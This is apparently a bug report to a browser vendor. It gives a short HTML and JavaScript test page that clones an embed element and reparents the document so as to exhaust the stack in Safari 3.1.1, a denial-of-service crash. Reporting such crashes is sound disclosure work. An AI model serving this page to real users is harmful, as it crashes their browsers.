I found that the following javascript causes a stack exhaustion:

<BODY onload="go()"><SCRIPT>
    function go() {
        var oEmbed=document.createElement('embed');
        document.body.appendChild(oEmbed);
        var oEmbed2 = oEmbed.cloneNode();
        oEmbed2.appendChild(document.body.parentElement);
        var oA = document.createElement('a');
        document.title = '';
        oA.innerHTML = '<x><html></html>';
    }
</SCRIPT></BODY>

Tested with Safari 3.1.1.

Marked as security, I'm not sure if you treat DoS as a security issue, so
erring on the safe side.
